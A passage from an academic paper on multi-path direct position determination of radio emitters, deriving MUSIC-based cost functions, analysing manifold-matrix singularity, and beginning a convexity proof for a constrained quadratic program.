\end{aligned}$$ where $s_{d}\left( k \right)$ is the *k*-th Fourier coefficient of the *d*-th source signal ${\overline{s}}_{d}\left( t \right),t \in {\lbrack 0,T\rbrack}$. $\mathbf{r}_{n}\left( k \right)$ and $\mathbf{n}\left( k \right)$ are $M \times 1$ vectors of the *k*-th Fourier coefficients of ${\overline{\mathbf{r}}}_{n}\left( t \right)$ and $\overline{\mathbf{n}}\left( t \right)$. ${\widetilde{\mathbf{a}}}_{\ell n}\left( k \right)$ is an $M \times 1$ vector, which denotes the generalized array response of the *n*-th receiver at frequency $\omega_{k}$. Make ([3](#FD3-sensors-18-00892){ref-type="disp-formula"}) into matrix form:$$\mathbf{r}\left( k \right) = \mathbf{A}\left( k \right)\check{\mathbf{s}}\left( k \right) + \mathbf{n}\left( k \right),$$ where:$$\begin{aligned}
{\mathbf{r}\left( k \right)} & {\triangleq {\lbrack\mathbf{r}_{1}^{T}\left( k \right),\mathbf{r}_{2}^{T}\left( k \right),\ldots,\mathbf{r}_{N}^{T}\left( k \right)\rbrack}^{T},} \\
{\mathbf{r}_{n}^{T}\left( k \right)} & {= {\lbrack\mathbf{r}_{n1}^{T}\left( k \right),\mathbf{r}_{n2}^{T}\left( k \right),\ldots,\mathbf{r}_{nM}^{T}\left( k \right)\rbrack}^{T},} \\
{\mathbf{A}\left( k \right)} & {\triangleq \widetilde{\mathbf{A}}\left( k \right)\mathbf{V}\left( k \right)\mathbf{\alpha},} \\
{\widetilde{\mathbf{A}}\left( k \right)} & {= \begin{bmatrix}
{{\widetilde{\mathbf{A}}}_{1}\left( k \right)} & 0 & \cdots & 0 \\
0 & {{\widetilde{\mathbf{A}}}_{2}\left( k \right)} & \cdots & 0 \\
\vdots & \vdots & \ddots & \vdots \\
0 & 0 & \cdots & {{\widetilde{\mathbf{A}}}_{N}\left( k \right)} \\
\end{bmatrix},} \\
{{\widetilde{\mathbf{A}}}_{n}\left( k \right)} & {= \lbrack{\widetilde{\mathbf{a}}}_{1n}\left( k \right),{\widetilde{\mathbf{a}}}_{2n}\left( k \right),\ldots,{\widetilde{\mathbf{a}}}_{Ln}\left( k \right)\rbrack,} \\
\end{aligned}$$ $$\begin{aligned}
{\mathbf{V}\left( k \right)} & {= \mathbf{I}_{N} \otimes \overline{\mathbf{V}}\left( k \right),} \\
{\overline{\mathbf{V}}\left( k \right)} & {= \lbrack{\overline{\mathbf{V}}}_{1}\left( k \right),{\overline{\mathbf{V}}}_{2}\left( k \right),\ldots,{\overline{\mathbf{V}}}_{D}\left( k \right)\rbrack,} \\
{{\overline{\mathbf{V}}}_{d}\left( k \right)} & {= {diag}\left( {\lbrack e^{- i\omega_{k}{\overline{\tau}}_{d1}},e^{- i\omega_{k}{\overline{\tau}}_{d2}},\ldots,e^{- i\omega_{k}{\overline{\tau}}_{dL}}\rbrack} \right),} \\
\mathbf{\alpha} & {= \begin{bmatrix}
\mathbf{\alpha}_{1} \\
\mathbf{\alpha}_{2} \\
\vdots \\
\mathbf{\alpha}_{N} \\
\end{bmatrix},} \\
\mathbf{\alpha}_{n} & {= \begin{bmatrix}
\mathbf{\alpha}_{1n} & 0 & \cdots & 0 \\
0 & \mathbf{\alpha}_{2n} & \cdots & 0 \\
\vdots & \vdots & \ddots & \vdots \\
0 & 0 & \cdots & \mathbf{\alpha}_{Dn} \\
\end{bmatrix},} \\
\mathbf{\alpha}_{dn} & {= {\lbrack\alpha_{d1n},\alpha_{d2n},\ldots,\alpha_{dLn}\rbrack}^{T},} \\
{\check{\mathbf{s}}\left( k \right)} & {\triangleq {\lbrack{\check{s}}_{1}\left( k \right),{\check{s}}_{2}\left( k \right),\ldots,{\check{s}}_{D}\left( k \right)\rbrack}^{T}.} \\
\end{aligned}$$ where ⊗ is the Kronecker product and $\mathbf{I}_{N}$ is an identify matrix with a size of $N \times N$.
Denote the second moments of variables by:$$\begin{aligned}
{\mspace{-1080mu} E\{\mathbf{n}\left( k \right)\mathbf{n}^{H}\left( k \right)\}} & {= \sigma^{2}\mathbf{I}_{MN} \triangleq \Sigma,} \\
{E\{\mathbf{n}\left( k \right)\mathbf{n}\left( k \right)^{T}\}} & {= 0,} \\
\end{aligned}$$$$\begin{aligned}
{\mathbf{R}\left( k \right)} & {\triangleq E{\{\mathbf{r}\left( k \right)\mathbf{r}^{H}\left( k \right)\}} = \mathbf{A}\left( k \right)\mathsf{\Lambda}\left( k \right)\mathbf{A}^{H}\left( k \right) + \Sigma,} \\
\end{aligned}$$$$\begin{aligned}
{\mathsf{\Lambda}\left( k \right)} & {\triangleq E\{\check{\mathbf{s}}\left( k \right){\check{\mathbf{s}}}^{H}\left( k \right)\},} \\
\end{aligned}$$ where $\mathbf{I}_{MN}$ is an identity matrix with a size of $MN \times MN$. $\mathbf{R}\left( k \right)$ is a covariance matrix of received signals at frequency $\omega_{k}$. $\sigma$ is the noise standard deviation. The observed signal of each antenna $\overline{\mathbf{r}}\left( t \right)$ is partitioned into *J* sections, and each section is Fourier transformed. The *k*-th Fourier coefficient of the *j*-th section is denoted by $\mathbf{r}_{j}\left( k \right)$. The covariance matrix at frequency $\omega_{k}$ is estimated by:$$\begin{aligned}
{\hat{\mathbf{R}}\left( k \right)} & {= \frac{1}{J}\sum\limits_{j = 1}^{J}{\mathbf{r}_{j}\left( k \right)\mathbf{r}_{j}^{H}\left( k \right)}.} \\
\end{aligned}$$
The relationship between the received signals and emitter positions has been established in ([5](#FD5-sensors-18-00892){ref-type="disp-formula"}), and it is named the MP-DPD model. The MP-DPD model optimizes the emitter positions directly to achieve a more accurate estimation. Two DPD methods are proposed under the MP-DPD framework:MP-MUSIC method;MP-ML method.
The array manifold projection onto the noise subspace is adopted as the cost function in the MP-MUSIC method, and the likelihood function of the received signals is adopted in the MP-ML method. If the number of snapshots is sufficient, MP-MUSIC consumes less time than MP-ML without degrading the performance. Besides, if the number of snapshots is not enough, MP-ML obtains more precise position estimations than MP-MUSIC.
3. MP-MUSIC Method {#sec3-sensors-18-00892}
==================
We analyze the shortcomings of the existing MUSIC method in the multi-path propagation positioning firstly and establish an MP-MUSIC model that is suitable for the multi-path environment positioning. Finally, the corresponding algorithm is given at the end of this section.
3.1. The Limitation of Existing MUSIC Methods {#sec3dot1-sensors-18-00892}
---------------------------------------------
We introduce the Signal Subspace Projection MUSIC (SSP-MUSIC) method, which was commonly used in the DPD model firstly, and develop a Noise Subspace Projection MUSIC (NSP-MUSIC) method to overcome the shortage of SSP-MUSIC. Finally, we discuss the performances of SSP-MUSIC and NSP-MUSIC, which were adopted in a multi-path positioning application.
### 3.1.1. SSP-MUSIC {#sec3dot1dot1-sensors-18-00892}
Alan Amar and Anthony J. Weiss studied the positioning problem of multiple unknown radio-frequency signals in \[[@B30-sensors-18-00892]\]. The MUSIC method for the LoS propagation positioning was proposed in their works. Alan Amar maximized the manifold projection onto the signal subspace rather than minimizing the projection onto the noise subspace. The programming model of Amar's method was defined as:$${\lbrack{\hat{\mathbf{p}}}_{e},\hat{\mathbf{\alpha}}\rbrack} = \arg\max F\left( \mathbf{p}_{e},\mathbf{\alpha} \right) = \mathbf{\alpha}^{H}\mathbf{D}\left( \mathbf{p}_{e} \right)\mathbf{\alpha},$$ $$s.t.\left\{ \begin{array}{l}
{{\parallel \mathbf{\alpha} \parallel}_{F}^{2} = 1,} \\
{\mathbf{\alpha} \in \mathbb{C}^{ND},} \\
\end{array} \right.$$ where: $$\begin{aligned}
{\mathbf{D}\left( \mathbf{p}_{e} \right)} & {\triangleq \mathbf{H}^{H}\left\lbrack {\sum\limits_{k = 1}^{K}\Gamma^{H}\left( k \right)\mathbf{U}_{s}\left( k \right)\mathbf{U}_{s}^{H}\left( k \right)\Gamma\left( k \right)} \right\rbrack\mathbf{H},} \\
\end{aligned}$$$$\begin{aligned}
\mathbf{H} & {\triangleq \mathbf{I}_{N} \otimes 1_{M},} \\
\end{aligned}$$ where $\mathbf{\alpha}$ is the path attenuation vector, $\mathbb{C}^{ND}$ is the set of complex column vectors with the length of $ND$, ${\parallel \cdot \parallel}_{F}$ is the Frobenius norm of a matrix, $\mathbf{p}_{e}$ is the vector of emitter positions, $\mathbf{I}_{N}$ stands for the $N \times N$ identity matrix, $1_{M}$ stands for an $M \times 1$ column vector of ones, *M* stands for the number of antennas of each array, $\Gamma\left( k \right)$ is the array manifold matrix at frequency $\omega_{k}$, *N* is the number of receivers, *D* is the number of emitters, *K* is the frequency points of received signals and $\mathbf{U}_{s}\left( k \right)$ is made up of the eigenvectors of the covariance matrix of received signals corresponding to the *D* largest eigenvalues. The other parameter notations can be found in \[[@B30-sensors-18-00892]\].
Since ([10](#FD10-sensors-18-00892){ref-type="disp-formula"}) is a quadratic convex optimization with linear constraints in the complex field, the maximum of the cost function is the maximal eigenvalue of the matrix $\mathbf{D}\left( \mathbf{p}_{e} \right)$\[[@B31-sensors-18-00892]\]; thus, the optimal cost function value is $F^{*}\left( \mathbf{p}_{e} \right) = \lambda_{\max}{\{\mathbf{D}\left( \mathbf{p}_{e} \right)\}}$, where $\lambda_{\max}{\{ \cdot \}}$ represents the maximal eigenvalue of a matrix. Benefiting from the simplified cost function and the eigenvalue system, Amar's method reduced the searching dimension from $2DK + 2\left( N - 1 \right)D + 3$ to three.
### 3.1.2. NSP-MUSIC {#sec3dot1dot2-sensors-18-00892}
A noise subspace projection MUSIC method is proposed in this paper to remove the simplification of the SSP-MUSIC. NSP-MUSIC minimizes the manifold projection onto the noise subspace:$${\lbrack\hat{\mathbf{p}_{e}},\hat{\mathbf{\alpha}}\rbrack} = \arg\min\overline{F}\left( \mathbf{p}_{e},\mathbf{\alpha} \right) = \mathbf{\alpha}^{H}\mathbf{H}^{H}\sum\limits_{k = 1}^{K}\left\{ {\Gamma^{H}\left( k \right)\left\lbrack {\mathbf{I} - \mathbf{U}_{s}\left( k \right)\mathbf{U}_{s}^{H}\left( k \right)} \right\rbrack\Gamma\left( k \right)} \right\}\mathbf{H}\mathbf{\alpha}.$$
Reorganize the items in ([14](#FD14-sensors-18-00892){ref-type="disp-formula"}):$${\lbrack{\hat{\mathbf{p}}}_{e},\hat{\mathbf{\alpha}}\rbrack} = \arg\max\widetilde{F}\left( \mathbf{p}_{e},\mathbf{\alpha} \right) = \frac{1}{\mathbf{\alpha}^{H}\mathbf{I}\left( \mathbf{p}_{e} \right)\mathbf{\alpha} - \mathbf{\alpha}^{H}\mathbf{D}\left( \mathbf{p}_{e} \right)\mathbf{\alpha}},$$ where:$$\mathbf{I}\left( \mathbf{p}_{e} \right) \triangleq \mathbf{H}^{H}\left\lbrack {\sum\limits_{k}^{K}\Gamma^{H}\left( k \right)\Gamma\left( k \right)} \right\rbrack\mathbf{H},$$ and $\mathbf{D}\left( \mathbf{p}_{e} \right)$ has been defined in ([12](#FD12-sensors-18-00892){ref-type="disp-formula"}). SSP-MUSIC is viewed as a simplified version of ([15](#FD15-sensors-18-00892){ref-type="disp-formula"}). In a direction finding application, it is assumed that the path attenuation of each antenna in an array has been normalized in advance, and $\mathbf{\alpha}^{H}\mathbf{I}\left( \mathbf{p} \right)\mathbf{\alpha}$ is a known constant item. The dropping of the constant item in an optimization is reasonable. However, in a multi-path positioning application, $\mathbf{\alpha}^{H}\mathbf{I}\left( \mathbf{p} \right)\mathbf{\alpha}$ changes with the change of $\mathbf{\alpha}$, and the dropping of $\mathbf{\alpha}^{H}\mathbf{I}\left( \mathbf{p} \right)\mathbf{\alpha}$ is unreasonable.
Following the standard noise subspace MUSIC method and the model for the multi-path positioning, we define the cost function of NSP-MUSIC:$${\lbrack{\hat{\mathbf{p}}}_{e},\hat{\mathbf{\alpha}}\rbrack} = \arg\max Q\left( \mathbf{p}_{e},\mathbf{\alpha} \right) = \frac{1}{\sum_{k = 1}^{K}{\mathbf{a}^{H}\left( k \right)\left\lbrack {\mathbf{I}_{MN} - \mathbf{U}_{s}\left( k \right)\mathbf{U}_{s}^{H}\left( k \right)} \right\rbrack\mathbf{a}\left( k \right)}},$$ where $\mathbf{I}_{MN}$ is an identity matrix with a size of $MN \times MN$. $\mathbf{U}_{s}\left( k \right)$ is a matrix consisting of the eigenvectors of $\mathbf{R}_{k}$ corresponding to the *D* largest eigenvalues. $\mathbf{p}_{e}$ and $\mathbf{\alpha}$ are decision making variable vectors representing the candidate emitter positions and the corresponding path attenuations. In order to facilitate a unique solution, we assume that the norm of $\mathbf{\alpha}$ is one. $\mathbf{a}\left( k \right)$ is the array manifold vector for $\mathbf{p}_{e}$ at frequency $\omega_{k}$. Unfortunately, the cost function requires an $LN - 1 + 3$ dimensional searching, and it is difficult to get the optimal solution over such a high dimensional space.
Note that the *d*-th column of matrix $\mathbf{A}\left( k \right)$ in ([5](#FD5-sensors-18-00892){ref-type="disp-formula"}) is denoted by:$$\mathbf{a}_{d}\left( k \right) = \widetilde{\mathbf{A}}\left( k \right){\lbrack\mathbf{I}_{N} \otimes {\overline{\mathbf{V}}}_{d}\left( k \right)\rbrack}\mathbf{\alpha}_{d} \triangleq \Gamma_{d}\left( k \right)\mathbf{\alpha}_{d},$$ where $\mathbf{\alpha}_{d} \triangleq {\lbrack\mathbf{\alpha}_{d1}^{T},\mathbf{\alpha}_{d2}^{T},\ldots,\mathbf{\alpha}_{dN}^{T}\rbrack}^{T}$ represent attenuations of paths from the *d*-th emitter. The vector $\mathbf{a}\left( k \right)$ of a candidate emitter in the MUSIC algorithm ([17](#FD17-sensors-18-00892){ref-type="disp-formula"}) is similar to $\mathbf{a}_{d}\left( k \right)$, but the position of the *d*-th emitter is replaced by the candidate emitter position $\mathbf{p}_{e}$. Denote $\Gamma\left( k \right) \triangleq \Gamma_{d}\left( k \right)$ to simplify the explanation, and substitute ([18](#FD18-sensors-18-00892){ref-type="disp-formula"}) into ([17](#FD17-sensors-18-00892){ref-type="disp-formula"}):$${\lbrack\hat{\mathbf{p}_{e}},\hat{\mathbf{b}}\rbrack} = \arg\max Q\left( \mathbf{p}_{e},\mathbf{\alpha} \right) = \frac{1}{\mathbf{\alpha}^{H}\mathbf{E}\left( \mathbf{p}_{e} \right)\mathbf{\alpha}},$$ $$s.t.\left\{ \begin{array}{l}
{\mathbf{E}\left( \mathbf{p}_{e} \right) = \sum\limits_{k = 1}^{K}\Gamma^{H}\left( k \right)\left\lbrack {\mathbf{I}_{MN} - \mathbf{U}_{s}\left( k \right)\mathbf{U}_{s}^{H}\left( k \right)} \right\rbrack\Gamma\left( k \right),} \\
{{\parallel \mathbf{\alpha} \parallel}_{F}^{2} = 1,} \\
{\mathbf{\alpha} \in \mathbb{C}^{ND},} \\
\end{array} \right.$$
Tom Tirer and Anthony J. Weiss studied similar programming in \[[@B35-sensors-18-00892]\]. They transformed the cost function into:$${\lbrack{\hat{\mathbf{p}}}_{e},\hat{\mathbf{\alpha}}\rbrack} = \arg\max\widetilde{Q}\left( \mathbf{p}_{e},\mathbf{\alpha} \right) = \frac{1}{\lambda_{\min}\left\{ {\mathbf{E}\left( \mathbf{p}_{e} \right)} \right\}},$$ where $\lambda_{\min}{\{ \cdot \}}$ represents the minimal eigenvalue of a matrix. It is a promotion result of the maximization QP, but it is only a "not bad" solution rather than the optimal one. If $\Gamma\left( k \right)$ is singular, $\mathbf{E}\left( \mathbf{p}_{e} \right)$ turns out to be singular, and $\lambda_{\min}\left\{ {\mathbf{E}\left( \mathbf{p}_{e} \right)} \right\} = 0$. In this case, the cost function reaches a peak. NSP-MUSIC only finds the solutions that make $\Gamma\left( k \right)$ singular rather than true emitter positions.
From another point of view, if $\exists i,j$, which satisfy $\mathbf{e}_{i}\left( \mathbf{p}_{e} \right) \approx \mathbf{e}_{j}\left( \mathbf{p}_{e} \right)$, where $\mathbf{e}_{i}\left( \mathbf{p}_{e} \right)$ and $\mathbf{e}_{j}\left( \mathbf{p}_{e} \right)$ are the column *i* and column *j* in $\mathbf{E}\left( \mathbf{p}_{e} \right)$, the matrix $\mathbf{E}\left( \mathbf{p}_{e} \right)$ turns out to be singular or near singular (It should be noticed that, in a single path positioning application, $\Gamma\left( k \right)$ is a block diagonal matrix, and each block is an $M \times 1$ column vector. It is impossible that $\Gamma\left( k \right)$ has the same two columns, but this is possible for a multi-path positioning application. In a multi-path environment, $\Gamma\left( k \right)$ is a block diagonal matrix, and each block is an $M \times L$ matrix. It is possible that the block is singular.). In this case, the optimal estimations of path attenuations are $\hat{\mathbf{\alpha}} = {\lbrack{\hat{\alpha}}_{1},{\hat{\alpha}}_{2},\ldots,{\hat{\alpha}}_{\ell \cdot n}\rbrack}^{T}$, where: $${\hat{\alpha}}_{z} = \left\{ \begin{aligned}
\frac{\sqrt{2}}{2} & {z = i,} \\
{- \frac{\sqrt{2}}{2}} & {z = j,} \\
0 & {else.} \\
\end{aligned} \right.$$ ${\hat{\alpha}}_{z}$ is a feasible solution that satisfies ([20](#FD20-sensors-18-00892){ref-type="disp-formula"}). Substitute ([22](#FD22-sensors-18-00892){ref-type="disp-formula"}) into ([19](#FD19-sensors-18-00892){ref-type="disp-formula"}); $\left. Q\left( \mathbf{p}_{e},\mathbf{\alpha} \right)\rightarrow + \infty \right.$. If $\mathbf{\alpha}$ are complex scaled path attenuations, the cost function of NSP-MUSIC will reach a peak where $\mathbf{E}\left( \mathbf{p}_{e} \right)$ is singular or near singular.
Above all, if the manifold matrix $\Gamma\left( k \right)$ is singular or near singular, SSP-MUSIC will fail to get the emitter positions. Besides, if $\Gamma\left( k \right)$ is singular or near singular and $\mathbf{\alpha}$ are complex path attenuations, NSP-MUSIC also fails to get the emitter positions. In the next section, we will discuss the singularity of the manifold matrix $\Gamma\left( k \right)$ and the necessity for non-negative real number constraints for path attenuations.
### 3.1.3. Singularity of the Manifold Matrix in the Presence of Multi-Path Propagation {#sec3dot1dot3-sensors-18-00892}
We have discussed that SSP-MUSIC and NSP-MUSIC will fail to locate the emitters if $\Gamma\left( k \right)$ is a near singular matrix, and we get the conditions of a candidate that makes $\Gamma\left( k \right)$ near singular in [Appendix A](#app1-sensors-18-00892){ref-type="app"}.
Unfortunately, $\Gamma\left( k \right)$ will always be near singular. For example, in a shortwave positioning application, the size of a shortwave antenna is large. If the receivers need to be installed on mobile platforms (e.g., aircraft), only one antenna can be installed in a receiver ($M = 1$). In this case, from the condition in Theorem A2 in [Appendix A](#app1-sensors-18-00892){ref-type="app"}, $a_{\ell_{1}n}\left( k \right) = a_{\ell_{2}n}\left( k \right),k = 1,2,\ldots,K$ always are satisfied, and the manifold matrix $\Gamma\left( k \right)$ of a CSMCis a singular matrix.
In another application, the transponders are installed on a mobile platform (e.g., Unmanned Aerial Vehicle (UAV) platform or satellite platform). If one transponder is relatively close to another transponder, or two transponders and a receiving station are near collinear, this makes $\mathbf{a}_{\ell_{1}n}\left( k \right) \approx \mathbf{a}_{\ell_{2}n}\left( k \right),k = 1,2,\ldots,K$. In this situation, the conditions in Theorem A2 in [Appendix A](#app1-sensors-18-00892){ref-type="app"} are satisfied, and $\Gamma\left( k \right)$ turns out to be near singular.
In addition, it is necessary to down convert the Radio Frequency (RF) signals to baseband signals firstly to avoid the multi-peak searching of the cost function (see [Figure 2](#sensors-18-00892-f002){ref-type="fig"}). The suboptimal peaks in [Figure 2](#sensors-18-00892-f002){ref-type="fig"}a are caused by the carrier wave. The higher the frequency of the carrier, the more suboptimal the peaks in the cost function. Besides, there is only one peak in the cost function for a baseband signal positioning model (see [Figure 2](#sensors-18-00892-f002){ref-type="fig"}b). [Figure 2](#sensors-18-00892-f002){ref-type="fig"}b is an up envelopeof [Figure 2](#sensors-18-00892-f002){ref-type="fig"}a. If the cost function is a surface with multiple peaks, it is difficult to develop a searching strategy except for a high density grid searching. However, it is easy to get the global optimal solution for a continuous function with a single peak (e.g., Steepest Descent Method (SDM), Newton Method (NM)). In a baseband signal positioning application, $\lambda \gg R$, where $\lambda$ is the wave length corresponding to the maximal frequency of the baseband signal, and *R* is the radius of the circle receiving array. If $\lambda \gg R$, it is easy to satisfy $\mathbf{a}_{\ell_{1}n}\left( k \right) \approx \mathbf{a}_{\ell_{2}n}\left( k \right),k = 1,2,\ldots,K$, and $\Gamma\left( k \right)$ is near singular.
### 3.1.4. Non-Negative Real Path Attenuation Constraints {#sec3dot1dot4-sensors-18-00892}
Our model requires that path attenuations must be non-negative real numbers, but complex values in existing studies for narrow band signal positioning \[[@B18-sensors-18-00892],[@B29-sensors-18-00892],[@B31-sensors-18-00892],[@B32-sensors-18-00892],[@B33-sensors-18-00892]\]. Weiss ignored the path attenuations (set the attenuation $\alpha = 1$) in wide-band emitter positioning in \[[@B36-sensors-18-00892]\].
In a narrow band signal positioning application, it is assumed that $\mathbf{a}_{\ell n}\left( k \right) \approx \mathbf{a}_{\ell n}\left( k_{0} \right) \triangleq \mathbf{a}_{\ell n}$, where $k = 1,2,\cdots,K$, and $\omega_{k_{0}}$ is the carrier frequency. Based on the above assumptions, ([3](#FD3-sensors-18-00892){ref-type="disp-formula"}) turns out to be:$$\begin{array}{cl}
{\mathbf{r}_{n}\left( k \right)} & {= \sum\limits_{\ell = 1}^{L}\sum\limits_{d = 1}^{D}\alpha_{d\ell n}\mathbf{a}_{\ell n}\left( k \right)e^{- i\omega_{k}{\overline{\mathbf{\tau}}}_{\ell d}}{\check{s}}_{d}\left( k \right) + \mathbf{n}\left( k \right)} \\
& {\approx \sum\limits_{\ell = 1}^{L}\sum\limits_{d = 1}^{D}\alpha_{d\ell n}e^{j\omega_{k_{0}}\tau}\mathbf{a}_{\ell n}e^{- i\omega_{k}{\overline{\mathbf{\tau}}}_{\ell d}}{\check{s}}_{d}\left( k \right) + \mathbf{n}\left( k \right),} \\
\end{array}$$ where $e^{j\omega_{k_{0}}\tau}$ is a phase adjustment item to satisfy $\left. e^{j\omega_{k_{0}}\tau}\mathbf{a}_{\ell n}\left( k_{0} \right)\rightarrow\mathbf{a}_{\ell n}\left( k \right) \right.$. Existing studies used the envelope information only to estimate the propagation delay and dropped the carrier phase information. $e^{j\omega_{k_{0}}\tau}$ was an adjustment factor for carrier phase alignment, and it was used to reduce the interference with the propagation delay estimation. Denote ${\overline{\alpha}}_{d\ell n} \triangleq \alpha_{d\ell n}e^{j\omega_{k_{0}}\tau}$; ([23](#FD23-sensors-18-00892){ref-type="disp-formula"}) turns out to be:$$\mathbf{r}_{n}\left( k \right) \approx \sum\limits_{\ell = 1}^{L}\sum\limits_{d = 1}^{D}{\overline{\alpha}}_{d\ell n}\mathbf{a}_{\ell n}e^{- i\omega_{k}{\overline{\mathbf{\tau}}}_{\ell d}}{\check{s}}_{d}\left( k \right) + \mathbf{n}\left( k \right),$$ where ${\overline{\alpha}}_{d\ell n}$ is a complex scalar representing the "channel attenuation" (It is not a real channel attenuation coefficient, but an equivalent parameter, which is determined by the real path attenuation and the model error caused by the narrow band signal assumption), and $\mathbf{a}_{\ell n}$ denotes the generalized array response matrix.
The commonly-used DPD methods \[[@B18-sensors-18-00892]\] modeled the received signal as:$$\mathbf{r}_{n}\left( k \right) \approx \sum\limits_{d = 1}^{D}\alpha_{dn}\mathbf{a}_{n}\left( \mathbf{p}_{d} \right)e^{- i\omega_{k}\tau_{nd}}{\check{s}}_{d}\left( k \right) + \mathbf{n}\left( k \right).$$ ([25](#FD25-sensors-18-00892){ref-type="disp-formula"}) is an LoS positioning model for narrow band signal positioning, while ([24](#FD24-sensors-18-00892){ref-type="disp-formula"}) is an NLoS positioning model. Existing models with complex path attenuation assumptions are viewed as simplified models of ([3](#FD3-sensors-18-00892){ref-type="disp-formula"}) in a narrow band signal positioning application. We point out that the simplified model ([24](#FD24-sensors-18-00892){ref-type="disp-formula"}) can not be adopted either in a MUSIC method or in an ML method in a multi-path propagation and unknown wave form application. We have obtained that the manifold matrix $\Gamma\left( k \right)$ may be singular in [Section 3.1.3](#sec3dot1dot3-sensors-18-00892){ref-type="sec"} and discussed that if the path attenuations were complex numbers, a MUSIC method could not obtain the emitter positions correctly in [Section 3.1.2](#sec3dot1dot2-sensors-18-00892){ref-type="sec"}. We will discuss this further in [Section 4.1](#sec4dot1-sensors-18-00892){ref-type="sec"} to explain the necessity of the real and non-negative constraints in an ML method.
Overall, we develop ([3](#FD3-sensors-18-00892){ref-type="disp-formula"}) as the signal model for positioning and constrain the path attenuations in $\mathbb{R}^{+}$.
3.2. Mathematical Model of MP-MUSIC {#sec3dot2-sensors-18-00892}
-----------------------------------
In an MP-MUSIC method, the optimal estimation of $\mathbf{\alpha}$ for a fixed emitter position $\mathbf{p}_{e}$ is given by solving the following programming:$$\begin{array}{r}
{\hat{\mathbf{\alpha}} = \arg\min Q\left( \mathbf{\alpha} \right) = \mathbf{\alpha}^{H}\mathbf{E}\left( \mathbf{p}_{e} \right)\mathbf{\alpha},} \\
\end{array}$$ $$\begin{array}{r}
{s.t.\left\{ \begin{array}{l}
{{\parallel \mathbf{\alpha} \parallel}_{1} = 1,} \\
{\mathbf{\alpha} \in \mathbb{R}^{LN},\mathbf{\alpha} \geq 0,} \\
{\mathbf{E}\left( \mathbf{p}_{e} \right) = \sum\limits_{k = 1}^{K}\Gamma^{H}\left( k \right)\left\lbrack {\mathbf{I}_{MN} - \mathbf{U}_{s}\left( k \right)\mathbf{U}_{s}^{H}\left( k \right)} \right\rbrack\Gamma\left( k \right).} \\
\end{array} \right.} \\
\end{array}$$ where ${\parallel \cdot \parallel}_{1}$ is the one norm of the vector (that is, the sum of the absolute values of the elements of the vector) and $\mathbf{I}_{MN}$ is an $MN \times MN$ identity matrix.
The programming is a non-linear programming with real value constraints. There is an $LN$ dimensional searching for a candidate emitter position, and it is difficult to solve the programming directly. We remove the imaginary items in the programming without changing the optimal solution firstly and prove the convexity of the modified programming later. An iterative algorithm named ASA is proposed to solve the convex programming after the proof.
### 3.2.1. Remove the Imaginary Items in the Programming {#sec3dot2dot1-sensors-18-00892}
Rewrite the objective function by:$$\begin{array}{r}
{\mathbf{\alpha}^{H}\mathbf{E}\left( \mathbf{p}_{e} \right)\mathbf{\alpha} = \mathbf{\alpha}^{H}\Psi\mathbf{\alpha} + \mathbf{\alpha}^{H}\Phi\mathbf{\alpha},} \\
\end{array}$$ where $\Psi \triangleq {Re}\lbrack\mathbf{E}\left( \mathbf{p}_{e} \right)\rbrack$ is the real part of $\mathbf{E}\left( \mathbf{p}_{e} \right)$ and $\Phi \triangleq {Im}\lbrack\mathbf{E}\left( \mathbf{p}_{e} \right)\rbrack$ is the imaginary part of $\mathbf{E}\left( \mathbf{p}_{e} \right)$. $\Phi$ is a Hermitian matrix, which satisfies:$$\begin{array}{r}
{\Phi_{i,j} = \left\{ \begin{array}{cl}
0 & {i = j,} \\
{- \Phi_{j,i}} & {{else}.} \\
\end{array} \right.} \\
\end{array}$$ where $\Phi_{i,j}$ is the element at the *i*-th row and *j*-th column of the matrix $\Phi$. Since $\mathbf{\alpha}$ is a non-negative real value vector and the diagonal elements of $\Phi$ are zeros, $$\begin{array}{cl}
{\mathbf{\alpha}^{H}\Phi\mathbf{\alpha}} & {= \sum\limits_{i = 1}^{NL}{\sum\limits_{j = 1}^{NL}{\alpha_{i}\Phi_{i,j}\alpha_{j}}}} \\
& {= \sum\limits_{i = 2}^{NL}{\sum\limits_{j = 1}^{i - 1}\left( \alpha_{i}\Phi_{i,j}\alpha_{j} + \alpha_{j}\Phi_{j,i}\alpha_{i} \right)}} \\
& {= 0.} \\
\end{array}$$
Substitute ([29](#FD29-sensors-18-00892){ref-type="disp-formula"}) into ([27](#FD27-sensors-18-00892){ref-type="disp-formula"}), and the cost function turns out to be:$$\begin{array}{r}
{\hat{\mathbf{\alpha}} = \arg\min q\left( \mathbf{\alpha} \right) = \mathbf{\alpha}^{H}\Psi\mathbf{\alpha}} \\
\end{array}$$ $$\begin{array}{r}
{s.t.\left\{ \begin{array}{l}
{{\parallel \mathbf{\alpha} \parallel}_{1} = 1,} \\
{\mathbf{\alpha} \in \mathbb{R}^{LN},\mathbf{\alpha} \geq 0.} \\
\end{array} \right.} \\
\end{array}$$
The programming ([30](#FD30-sensors-18-00892){ref-type="disp-formula"}) is a QP in the real field. If there are no inequality constraints and the objective function is convex, the Lagrange multiplier method is effective for solving the programming. However, the non-negative constraints of path attenuations are necessary due to the singularity of the array manifold. To obtain the optimal solution of ([30](#FD30-sensors-18-00892){ref-type="disp-formula"}), we verify the convexity of the programming firstly and design an algorithm to solve the convex programming.
### 3.2.2. Convexity of the Programming {#sec3dot2dot2-sensors-18-00892}
([30](#FD30-sensors-18-00892){ref-type="disp-formula"}) *is a convex quadratic programming with linear equality constraints and lower bounds.*
$$\begin{aligned}
{\mathbf{E}\left( \mathbf{p}_{e} \right)} & {= \sum\limits_{k = 1}^{K}{\mathbf{E}\left( k \right)},} \\
\end{aligned}$$ where: $$\begin{array}{cl}
{\mathbf{E}\left( k \right)} & {= \Gamma^{H}\left( k \right)\left\lbrack {\mathbf{I}_{MN} - \mathbf{U}_{s}\left( k \right)\mathbf{U}_{s}^{H}\left( k \right)} \right\rbrack\Gamma\left( k \right)} \\
& {= \Gamma^{H}\left( k \right)\mathbf{U}_{n}\left( k \right)\mathbf{U}_{n}^{H}\left( k \right)\Gamma\left( k \right),} \\
\end{array}$$ where $\mathbf{U}_{n}$ is the noise subspace of the received signal. $\forall\mathbf{x} \in \mathbb{R}^{LN}$, $$\begin{array}{cl}
{\mathbf{x}^{H}\mathbf{E}\left( \mathbf{p}_{e} \right)\mathbf{x}} & {= \sum\limits_{k = 1}^{K}\mathbf{x}^{H}\mathbf{E}\left( k \right)\mathbf{x}} \\
& {= \sum\limits_{k = 1}^{K}{\parallel \mathbf{x}^{H}\Gamma^{H}\left( k \right)\mathbf{U}_{n}\left( k \right) \parallel}^{2} \geq 0,} \\
\end{array}$$ $$\begin{aligned}
